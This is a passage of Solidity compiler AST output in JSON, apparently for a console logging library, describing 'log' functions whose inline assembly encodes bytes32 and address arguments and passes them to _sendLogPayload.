Slot":false,"src":"307303:2:22","valueSize":1},{"declaration":43879,"isOffset":false,"isSlot":false,"src":"307333:2:22","valueSize":1},{"declaration":43882,"isOffset":false,"isSlot":false,"src":"307363:2:22","valueSize":1},{"declaration":43885,"isOffset":false,"isSlot":false,"src":"307393:2:22","valueSize":1},{"declaration":43888,"isOffset":false,"isSlot":false,"src":"307423:2:22","valueSize":1},{"declaration":43891,"isOffset":false,"isSlot":false,"src":"307453:2:22","valueSize":1},{"declaration":43894,"isOffset":false,"isSlot":false,"src":"307483:2:22","valueSize":1},{"declaration":43860,"isOffset":false,"isSlot":false,"src":"307754:2:22","valueSize":1},{"declaration":43862,"isOffset":false,"isSlot":false,"src":"307660:2:22","valueSize":1},{"declaration":43864,"isOffset":false,"isSlot":false,"src":"307689:2:22","valueSize":1},{"declaration":43866,"isOffset":false,"isSlot":false,"src":"307788:2:22","valueSize":1}],"id":43896,"nodeType":"InlineAssembly","src":"306865:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43898,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"307826:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43899,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"307832:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43897,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"307810:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"307810:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43901,"nodeType":"ExpressionStatement","src":"307810:28:22"},{"AST":{"nativeSrc":"307857:273:22","nodeType":"YulBlock","src":"307857:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"307878:4:22","nodeType":"YulLiteral","src":"307878:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"307884:2:22","nodeType":"YulIdentifier","src":"307884:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307871:6:22","nodeType":"YulIdentifier","src":"307871:6:22"},"nativeSrc":"307871:16:22","nodeType":"YulFunctionCall","src":"307871:16:22"},"nativeSrc":"307871:16:22","nodeType":"YulExpressionStatement","src":"307871:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307907:4:22","nodeType":"YulLiteral","src":"307907:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"307913:2:22","nodeType":"YulIdentifier","src":"307913:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307900:6:22","nodeType":"YulIdentifier","src":"307900:6:22"},"nativeSrc":"307900:16:22","nodeType":"YulFunctionCall","src":"307900:16:22"},"nativeSrc":"307900:16:22","nodeType":"YulExpressionStatement","src":"307900:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307936:4:22","nodeType":"YulLiteral","src":"307936:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"307942:2:22","nodeType":"YulIdentifier","src":"307942:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307929:6:22","nodeType":"YulIdentifier","src":"307929:6:22"},"nativeSrc":"307929:16:22","nodeType":"YulFunctionCall","src":"307929:16:22"},"nativeSrc":"307929:16:22","nodeType":"YulExpressionStatement","src":"307929:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307965:4:22","nodeType":"YulLiteral","src":"307965:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"307971:2:22","nodeType":"YulIdentifier","src":"307971:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307958:6:22","nodeType":"YulIdentifier","src":"307958:6:22"},"nativeSrc":"307958:16:22","nodeType":"YulFunctionCall","src":"307958:16:22"},"nativeSrc":"307958:16:22","nodeType":"YulExpressionStatement","src":"307958:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307994:4:22","nodeType":"YulLiteral","src":"307994:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"308000:2:22","nodeType":"YulIdentifier","src":"308000:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307987:6:22","nodeType":"YulIdentifier","src":"307987:6:22"},"nativeSrc":"307987:16:22","nodeType":"YulFunctionCall","src":"307987:16:22"},"nativeSrc":"307987:16:22","nodeType":"YulExpressionStatement","src":"307987:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"308023:4:22","nodeType":"YulLiteral","src":"308023:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"308029:2:22","nodeType":"YulIdentifier","src":"308029:2:22"}],"functionName":{"name":"mstore","nativeSrc":"308016:6:22","nodeType":"YulIdentifier","src":"308016:6:22"},"nativeSrc":"308016:16:22","nodeType":"YulFunctionCall","src":"308016:16:22"},"nativeSrc":"308016:16:22","nodeType":"YulExpressionStatement","src":"308016:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"308052:4:22","nodeType":"YulLiteral","src":"308052:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"308058:2:22","nodeType":"YulIdentifier","src":"308058:2:22"}],"functionName":{"name":"mstore","nativeSrc":"308045:6:22","nodeType":"YulIdentifier","src":"308045:6:22"},"nativeSrc":"308045:16:22","nodeType":"YulFunctionCall","src":"308045:16:22"},"nativeSrc":"308045:16:22","nodeType":"YulExpressionStatement","src":"308045:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"308081:4:22","nodeType":"YulLiteral","src":"308081:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"308087:2:22","nodeType":"YulIdentifier","src":"308087:2:22"}],"functionName":{"name":"mstore","nativeSrc":"308074:6:22","nodeType":"YulIdentifier","src":"308074:6:22"},"nativeSrc":"308074:16:22","nodeType":"YulFunctionCall","src":"308074:16:22"},"nativeSrc":"308074:16:22","nodeType":"YulExpressionStatement","src":"308074:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"308110:5:22","nodeType":"YulLiteral","src":"308110:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"308117:2:22","nodeType":"YulIdentifier","src":"308117:2:22"}],"functionName":{"name":"mstore","nativeSrc":"308103:6:22","nodeType":"YulIdentifier","src":"308103:6:22"},"nativeSrc":"308103:17:22","nodeType":"YulFunctionCall","src":"308103:17:22"},"nativeSrc":"308103:17:22","nodeType":"YulExpressionStatement","src":"308103:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43870,"isOffset":false,"isSlot":false,"src":"307884:2:22","valueSize":1},{"declaration":43873,"isOffset":false,"isSlot":false,"src":"307913:2:22","valueSize":1},{"declaration":43876,"isOffset":false,"isSlot":false,"src":"307942:2:22","valueSize":1},{"declaration":43879,"isOffset":false,"isSlot":false,"src":"307971:2:22","valueSize":1},{"declaration":43882,"isOffset":false,"isSlot":false,"src":"308000:2:22","valueSize":1},{"declaration":43885,"isOffset":false,"isSlot":false,"src":"308029:2:22","valueSize":1},{"declaration":43888,"isOffset":false,"isSlot":false,"src":"308058:2:22","valueSize":1},{"declaration":43891,"isOffset":false,"isSlot":false,"src":"308087:2:22","valueSize":1},{"declaration":43894,"isOffset":false,"isSlot":false,"src":"308117:2:22","valueSize":1}],"id":43902,"nodeType":"InlineAssembly","src":"307848:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"306609:3:22","parameters":{"id":43867,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43860,"mutability":"mutable","name":"p0","nameLocation":"306621:2:22","nodeType":"VariableDeclaration","scope":43904,"src":"306613:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43859,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306613:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43862,"mutability":"mutable","name":"p1","nameLocation":"306633:2:22","nodeType":"VariableDeclaration","scope":43904,"src":"306625:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43861,"name":"address","nodeType":"ElementaryTypeName","src":"306625:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43864,"mutability":"mutable","name":"p2","nameLocation":"306645:2:22","nodeType":"VariableDeclaration","scope":43904,"src":"306637:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43863,"name":"address","nodeType":"ElementaryTypeName","src":"306637:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43866,"mutability":"mutable","name":"p3","nameLocation":"306657:2:22","nodeType":"VariableDeclaration","scope":43904,"src":"306649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43865,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306649:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"306612:48:22"},"returnParameters":{"id":43868,"nodeType":"ParameterList","parameters":[],"src":"306675:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43944,"nodeType":"FunctionDefinition","src":"308142:1334:22","nodes":[],"body":{"id":43943,"nodeType":"Block","src":"308214:1262:22","nodes":[],"statements":[{"assignments":[43916],"declarations":[{"constant":false,"id":43916,"mutability":"mutable","name":"m0","nameLocation":"308232:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308224:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43915,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308224:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43917,"nodeType":"VariableDeclarationStatement","src":"308224:10:22"},{"assignments":[43919],"declarations":[{"constant":false,"id":43919,"mutability":"mutable","name":"m1","nameLocation":"308252:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308244:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43918,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308244:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43920,"nodeType":"VariableDeclarationStatement","src":"308244:10:22"},{"assignments":[43922],"declarations":[{"constant":false,"id":43922,"mutability":"mutable","name":"m2","nameLocation":"308272:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308264:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43921,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308264:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43923,"nodeType":"VariableDeclarationStatement","src":"308264:10:22"},{"assignments":[43925],"declarations":[{"constant":false,"id":43925,"mutability":"mutable","name":"m3","nameLocation":"308292:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308284:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43924,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308284:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43926,"nodeType":"VariableDeclarationStatement","src":"308284:10:22"},{"assignments":[43928],"declarations":[{"constant":false,"id":43928,"mutability":"mutable","name":"m4","nameLocation":"308312:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308304:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43927,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308304:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43929,"nodeType":"VariableDeclarationStatement","src":"308304:10:22"},{"assignments":[43931],"declarations":[{"constant":false,"id":43931,"mutability":"mutable","name":"m5","nameLocation":"308332:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308324:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43930,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308324:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43932,"nodeType":"VariableDeclarationStatement","src":"308324:10:22"},{"assignments":[43934],"declarations":[{"constant":false,"id":43934,"mutability":"mutable","name":"m6","nameLocation":"308352:2:22","nodeType":"VariableDeclaration","scope":43943,"src":"308344:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43933,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308344:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43935,"nodeType":"VariableDeclarationStatement","src":"308344:10:22"},{"AST":{"nativeSrc":"308373:828:22","nodeType":"YulBlock","src":"308373:828:22","statements":[{"body":{"nativeSrc":"308416:313:22","nodeType":"YulBlock","src":"308416:313:22","statements":[{"nativeSrc":"308434:15:22","nodeType":"YulVariableDeclaration","src":"308434:15:22","value":{"kind":"number","nativeSrc":"308448:1:22","nodeType":"YulLiteral","src":"308448:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"308438:6:22","nodeType":"YulTypedName","src":"308438:6:22","type":""}]},{"body":{"nativeSrc":"308519:40:22","nodeType":"YulBlock","src":"308519:40:22","statements":[{"body":{"nativeSrc":"308548:9:22","nodeType":"YulBlock","src":"308548:9:22","statements":[{"nativeSrc":"308550:5:22","nodeType":"YulBreak","src":"308550:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"308536:6:22","nodeType":"YulIdentifier","src":"308536:6:22"},{"name":"w","nativeSrc":"308544:1:22","nodeType":"YulIdentifier","src":"308544:1:22"}],"functionName":{"name":"byte","nativeSrc":"308531:4:22","nodeType":"YulIdentifier","src":"308531:4:22"},"nativeSrc":"308531:15:22","nodeType":"YulFunctionCall","src":"308531:15:22"}],"functionName":{"name":"iszero","nativeSrc":"308524:6:22","nodeType":"YulIdentifier","src":"308524:6:22"},"nativeSrc":"308524:23:22","nodeType":"YulFunctionCall","src":"308524:23:22"},"nativeSrc":"308521:36:22","nodeType":"YulIf","src":"308521:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"308476:6:22","nodeType":"YulIdentifier","src":"308476:6:22"},{"kind":"number","nativeSrc":"308484:4:22","nodeType":"YulLiteral","src":"308484:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"308473:2:22","nodeType":"YulIdentifier","src":"308473:2:22"},"nativeSrc":"308473:16:22","nodeType":"YulFunctionCall","src":"308473:16:22"},"nativeSrc":"308466:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"308490:28:22","nodeType":"YulBlock","src":"308490:28:22","statements":[{"nativeSrc":"308492:24:22","nodeType":"YulAssignment","src":"308492:24:22","value":{"arguments":[{"name":"length","nativeSrc":"308506:6:22","nodeType":"YulIdentifier","src":"308506:6:22"},{"kind":"number","nativeSrc":"308514:1:22","nodeType":"YulLiteral","src":"308514:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"308502:3:22","nodeType":"YulIdentifier","src":"308502:3:22"},"nativeSrc":"308502:14:22","nodeType":"YulFunctionCall","src":"308502:14:22"},"variableNames":[{"name":"length","nativeSrc":"308492:6:22","nodeType":"YulIdentifier","src":"308492:6:22"}]}]},"pre":{"nativeSrc":"308470:2:22","nodeType":"YulBlock","src":"308470:2:22","statements":[]},"src":"308466:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"308583:3:22","nodeType":"YulIdentifier","src":"308583:3:22"},{"name":"length","nativeSrc":"308588:6:22","nodeType":"YulIdentifier","src":"308588:6:22"}],"functionName":{"name":"mstore","nativeSrc":"308576:6:22","nodeType":"YulIdentifier","src":"308576:6:22"},"nativeSrc":"308576:19:22","nodeType":"YulFunctionCall","src":"308576:19:22"},"nativeSrc":"308576:19:22","nodeType":"YulExpressionStatement","src":"308576:19:22"},{"nativeSrc":"308612:37:22","nodeType":"YulVariableDeclaration","src":"308612:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"308629:3:22","nodeType":"YulLiteral","src":"308629:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"308638:1:22","nodeType":"YulLiteral","src":"308638:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"308641:6:22","nodeType":"YulIdentifier","src":"308641:6:22"}],"functionName":{"name":"shl","nativeSrc":"308634:3:22","nodeType":"YulIdentifier","src":"308634:3:22"},"nativeSrc":"308634:14:22","nodeType":"YulFunctionCall","src":"308634:14:22"}],"functionName":{"name":"sub","nativeSrc":"308625:3:22","nodeType":"YulIdentifier","src":"308625:3:22"},"nativeSrc":"308625:24:22","nodeType":"YulFunctionCall","src":"308625:24:22"},"variables":[{"name":"shift","nativeSrc":"308616:5:22","nodeType":"YulTypedName","src":"308616:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"308677:3:22","nodeType":"YulIdentifier","src":"308677:3:22"},{"kind":"number","nativeSrc":"308682:4:22","nodeType":"YulLiteral","src":"308682:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"308673:3:22","nodeType":"YulIdentifier","src":"308673:3:22"},"nativeSrc":"308673:14:22","nodeType":"YulFunctionCall","src":"308673:14:22"},{"arguments":[{"name":"shift","nativeSrc":"308693:5:22","nodeType":"YulIdentifier","src":"308693:5:22"},{"arguments":[{"name":"shift","nativeSrc":"308704:5:22","nodeType":"YulIdentifier","src":"308704:5:22"},{"name":"w","nativeSrc":"308711:1:22","nodeType":"YulIdentifier","src":"308711:1:22"}],"functionName":{"name":"shr","nativeSrc":"308700:3:22","nodeType":"YulIdentifier","src":"308700:3:22"},"nativeSrc":"308700:13:22","nodeType":"YulFunctionCall","src":"308700:13:22"}],"functionName":{"name":"shl","nativeSrc":"308689:3:22","nodeType":"YulIdentifier","src":"308689:3:22"},"nativeSrc":"308689:25:22","nodeType":"YulFunctionCall","src":"308689:25:22"}],"functionName":{"name":"mstore","nativeSrc":"308666:6:22","nodeType":"YulIdentifier","src":"308666:6:22"},"nativeSrc":"308666:49:22","nodeType":"YulFunctionCall","src":"308666:49:22"},"nativeSrc":"308666:49:22","nodeType":"YulExpressionStatement","src":"308666:49:22"}]},"name":"writeString","nativeSrc":"308387:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"308408:3:22","nodeType":"YulTypedName","src":"308408:3:22","type":""},{"name":"w","nativeSrc":"308413:1:22","nodeType":"YulTypedName","src":"308413:1:22","type":""}],"src":"308387:342:22"},{"nativeSrc":"308742:17:22","nodeType":"YulAssignment","src":"308742:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308754:4:22","nodeType":"YulLiteral","src":"308754:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"308748:5:22","nodeType":"YulIdentifier","src":"308748:5:22"},"nativeSrc":"308748:11:22","nodeType":"YulFunctionCall","src":"308748:11:22"},"variableNames":[{"name":"m0","nativeSrc":"308742:2:22","nodeType":"YulIdentifier","src":"308742:2:22"}]},{"nativeSrc":"308772:17:22","nodeType":"YulAssignment","src":"308772:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308784:4:22","nodeType":"YulLiteral","src":"308784:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"308778:5:22","nodeType":"YulIdentifier","src":"308778:5:22"},"nativeSrc":"308778:11:22","nodeType":"YulFunctionCall","src":"308778:11:22"},"variableNames":[{"name":"m1","nativeSrc":"308772:2:22","nodeType":"YulIdentifier","src":"308772:2:22"}]},{"nativeSrc":"308802:17:22","nodeType":"YulAssignment","src":"308802:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308814:4:22","nodeType":"YulLiteral","src":"308814:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"308808:5:22","nodeType":"YulIdentifier","src":"308808:5:22"},"nativeSrc":"308808:11:22","nodeType":"YulFunctionCall","src":"308808:11:22"},"variableNames":[{"name":"m2","nativeSrc":"308802:2:22","nodeType":"YulIdentifier","src":"308802:2:22"}]},{"nativeSrc":"308832:17:22","nodeType":"YulAssignment","src":"308832:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308844:4:22","nodeType":"YulLiteral","src":"308844:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"308838:5:22","nodeType":"YulIdentifier","src":"308838:5:22"},"nativeSrc":"308838:11:22","nodeType":"YulFunctionCall","src":"308838:11:22"},"variableNames":[{"name":"m3","nativeSrc":"308832:2:22","nodeType":"YulIdentifier","src":"308832:2:22"}]},{"nativeSrc":"308862:17:22","nodeType":"YulAssignment","src":"308862:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308874:4:22","nodeType":"YulLiteral","src":"308874:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"308868:5:22","nodeType":"YulIdentifier","src":"308868:5:22"},"nativeSrc":"308868:11:22","nodeType":"YulFunctionCall","src":"308868:11:22"},"variableNames":[{"name":"m4","nativeSrc":"308862:2:22","nodeType":"YulIdentifier","src":"308862:2:22"}]},{"nativeSrc":"308892:17:22","nodeType":"YulAssignment","src":"308892:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308904:4:22","nodeType":"YulLiteral","src":"308904:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"308898:5:22","nodeType":"YulIdentifier","src":"308898:5:22"},"nativeSrc":"308898:11:22","nodeType":"YulFunctionCall","src":"308898:11:22"},"variableNames":[{"name":"m5","nativeSrc":"308892:2:22","nodeType":"YulIdentifier","src":"308892:2:22"}]},{"nativeSrc":"308922:17:22","nodeType":"YulAssignment","src":"308922:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"308934:4:22","nodeType":"YulLiteral","src":"308934:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"308928:5:22","nodeType":"YulIdentifier","src":"308928:5:22"},"nativeSrc":"308928:11:22","nodeType":"YulFunctionCall","src":"308928:11:22"},"variableNames":[{"name":"m6","nativeSrc":"308922:2:22","nodeType":"YulIdentifier","src":"308922:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309022:4:22","nodeType":"YulLiteral","src":"309022:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"309028:10:22","nodeType":"YulLiteral","src":"309028:10:22","type":"","value":"0x223603bd"}],"functionName":{"name":"mstore","nativeSrc":"309015:6:22","nodeType":"YulIdentifier","src":"309015:6:22"},"nativeSrc":"309015:24:22","nodeType":"YulFunctionCall","src":"309015:24:22"},"nativeSrc":"309015:24:22","nodeType":"YulExpressionStatement","src":"309015:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309059:4:22","nodeType":"YulLiteral","src":"309059:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"309065:4:22","nodeType":"YulLiteral","src":"309065:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"309052:6:22","nodeType":"YulIdentifier","src":"309052:6:22"},"nativeSrc":"309052:18:22","nodeType":"YulFunctionCall","src":"309052:18:22"},"nativeSrc":"309052:18:22","nodeType":"YulExpressionStatement","src":"309052:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309090:4:22","nodeType":"YulLiteral","src":"309090:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"309096:2:22","nodeType":"YulIdentifier","src":"309096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309083:6:22","nodeType":"YulIdentifier","src":"309083:6:22"},"nativeSrc":"309083:16:22","nodeType":"YulFunctionCall","src":"309083:16:22"},"nativeSrc":"309083:16:22","nodeType":"YulExpressionStatement","src":"309083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309119:4:22","nodeType":"YulLiteral","src":"309119:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"309125:2:22","nodeType":"YulIdentifier","src":"309125:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309112:6:22","nodeType":"YulIdentifier","src":"309112:6:22"},"nativeSrc":"309112:16:22","nodeType":"YulFunctionCall","src":"309112:16:22"},"nativeSrc":"309112:16:22","nodeType":"YulExpressionStatement","src":"309112:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309148:4:22","nodeType":"YulLiteral","src":"309148:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"309154:2:22","nodeType":"YulIdentifier","src":"309154:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309141:6:22","nodeType":"YulIdentifier","src":"309141:6:22"},"nativeSrc":"309141:16:22","nodeType":"YulFunctionCall","src":"309141:16:22"},"nativeSrc":"309141:16:22","nodeType":"YulExpressionStatement","src":"309141:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309182:4:22","nodeType":"YulLiteral","src":"309182:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"309188:2:22","nodeType":"YulIdentifier","src":"309188:2:22"}],"functionName":{"name":"writeString","nativeSrc":"309170:11:22","nodeType":"YulIdentifier","src":"309170:11:22"},"nativeSrc":"309170:21:22","nodeType":"YulFunctionCall","src":"309170:21:22"},"nativeSrc":"309170:21:22","nodeType":"YulExpressionStatement","src":"309170:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43916,"isOffset":false,"isSlot":false,"src":"308742:2:22","valueSize":1},{"declaration":43919,"isOffset":false,"isSlot":false,"src":"308772:2:22","valueSize":1},{"declaration":43922,"isOffset":false,"isSlot":false,"src":"308802:2:22","valueSize":1},{"declaration":43925,"isOffset":false,"isSlot":false,"src":"308832:2:22","valueSize":1},{"declaration":43928,"isOffset":false,"isSlot":false,"src":"308862:2:22","valueSize":1},{"declaration":43931,"isOffset":false,"isSlot":false,"src":"308892:2:22","valueSize":1},{"declaration":43934,"isOffset":false,"isSlot":false,"src":"308922:2:22","valueSize":1},{"declaration":43906,"isOffset":false,"isSlot":false,"src":"309188:2:22","valueSize":1},{"declaration":43908,"isOffset":false,"isSlot":false,"src":"309096:2:22","valueSize":1},{"declaration":43910,"isOffset":false,"isSlot":false,"src":"309125:2:22","valueSize":1},{"declaration":43912,"isOffset":false,"isSlot":false,"src":"309154:2:22","valueSize":1}],"id":43936,"nodeType":"InlineAssembly","src":"308364:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43938,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"309226:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43939,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"309232:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43937,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"309210:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"309210:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43941,"nodeType":"ExpressionStatement","src":"309210:27:22"},{"AST":{"nativeSrc":"309256:214:22","nodeType":"YulBlock","src":"309256:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"309277:4:22","nodeType":"YulLiteral","src":"309277:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"309283:2:22","nodeType":"YulIdentifier","src":"309283:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309270:6:22","nodeType":"YulIdentifier","src":"309270:6:22"},"nativeSrc":"309270:16:22","nodeType":"YulFunctionCall","src":"309270:16:22"},"nativeSrc":"309270:16:22","nodeType":"YulExpressionStatement","src":"309270:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309306:4:22","nodeType":"YulLiteral","src":"309306:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"309312:2:22","nodeT